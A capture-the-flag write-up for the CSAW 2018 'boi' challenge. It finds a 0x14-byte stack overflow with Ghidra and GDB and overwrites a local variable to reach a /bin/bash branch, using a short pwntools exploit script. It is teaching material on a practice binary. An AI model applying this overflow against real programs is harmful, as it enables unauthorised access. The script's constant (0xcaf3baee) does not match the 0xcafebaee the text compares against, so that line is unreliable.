CSaw 2018 CTF Writeup - Pwn - Bigboi
The challenge binary is available with a comprehensive writeup at aguyinatuxedos fantastic repository.
Initial binary checks show that we're dealing with a 64-bit executable and some protections.
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ pwn checksec boi
[*] '/opt/nightmare/bigboi/boi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ file boi
boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped
Running the executable just seems to return the current system time.
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ ./boi
Are you a big boiiiii??
Yes
Wed 20 Oct 14:20:30 BST 2021
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ ./boi
Are you a big boiiiii??
-10
Wed 20 Oct 14:20:36 BST 2021
Cracking the file open in Ghidra, we can see the following decompiled code in the main function. It's relatively simple.
- The puts call displays the question.
- It reads in a variable into
local_38
for the size of0x18
. I will later rename this toout_input
. - It then checks the variable
iStack36
to see if it is equal to-0x350c4512
. - If it is, it runs a bash shell.
- If not, we get the date output, as we saw.
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_38;
undefined8 local_30;
undefined4 local_28;
int iStack36;
undefined4 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0;
local_30 = 0;
local_20 = 0;
local_28 = 0;
iStack36 = -0x21524111;
puts("Are you a big boiiiii??");
read(0,&local_38,0x18);
if (iStack36 == -0x350c4512) {
run_cmd("/bin/bash");
}
else {
run_cmd("/bin/date");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Looking at the assembly code, we can see the portion that initializes the variables. When iStack36
is set at local_28 + 4
, we can see it is set to 0xdeadbeef
, which might be the unsigned hex representation of the signed integer value in the code above.
A bit further down, we can also see it runs the comparison of this variable against 0xcafebaee
, which is where we see the if (iStack36 == -0x350c4512)
in the code above.
Since we have no input option to edit the iStack36
variable, it's likely that we're going to need to overflow from our initial variable into the target variable and change it from 0xdeadbeef
to 0xcafebaee
. We know we have 0x18
buffer size that gets read in.
Let's see what happens in GDB whilst we send all 0x18
bytes and fill up the buffer.
python3 -c "print('A' * 0x18)"
AAAAAAAAAAAAAAAAAAAAAAAA
gdb ./boi
First I'll disassemble the main function. Here we can see the assembly. Looking at the call to cmp eax, 0xcafebaee
, it might be a good idea to stop right here and see what the value of 0xdeadbeef
is when we send a full buffer.
I set a breakpoint with b *0x00000000004006a8
and run the code. When it asks for input, I'll place the AAAAAAAAAAAAAAAAAAAAAAAA
string we generated with python and continue the program. It should break right as it compares 0xcafebaee
with eax
.
It does, and we can see that the value that is in eax
is 0x41414141
, or the hex representation of AAAA
. Note: It saysrax
in gdb, but only half the register is used so we say it's still eax
.
Therefore, it stands to reason that although we've been given 0x18
bytes to read in, that there is actually only 0x14
bytes between our input variable on the stack and the target variable, as our last 4 bytes overwrote it. Therefore, sending the little-endian format of 0xcafebaee
after 0x14
bytes should allow us to get the correct comparison.
We can use Pwntools for a quick little solve script.
from pwn import *
p = process('./boi')
target = p32(0xcaf3baee)
exploit = b"A" * 0x14
exploit += target
p.recvline()
p.send(exploit)
p.interactive()
And when we run the script:
┌──(inspired㉿working)-[/opt/nightmare/bigboi]
└─$ python3 playful.py
[+] Starting local process './boi': pid 12668
b'Are you a big boiiiii??\n'
[*] Switching to interactive mode
$ whoami
inspired
A pretty vanilla challenge that was good to get me back into the swing of reading C and assembly.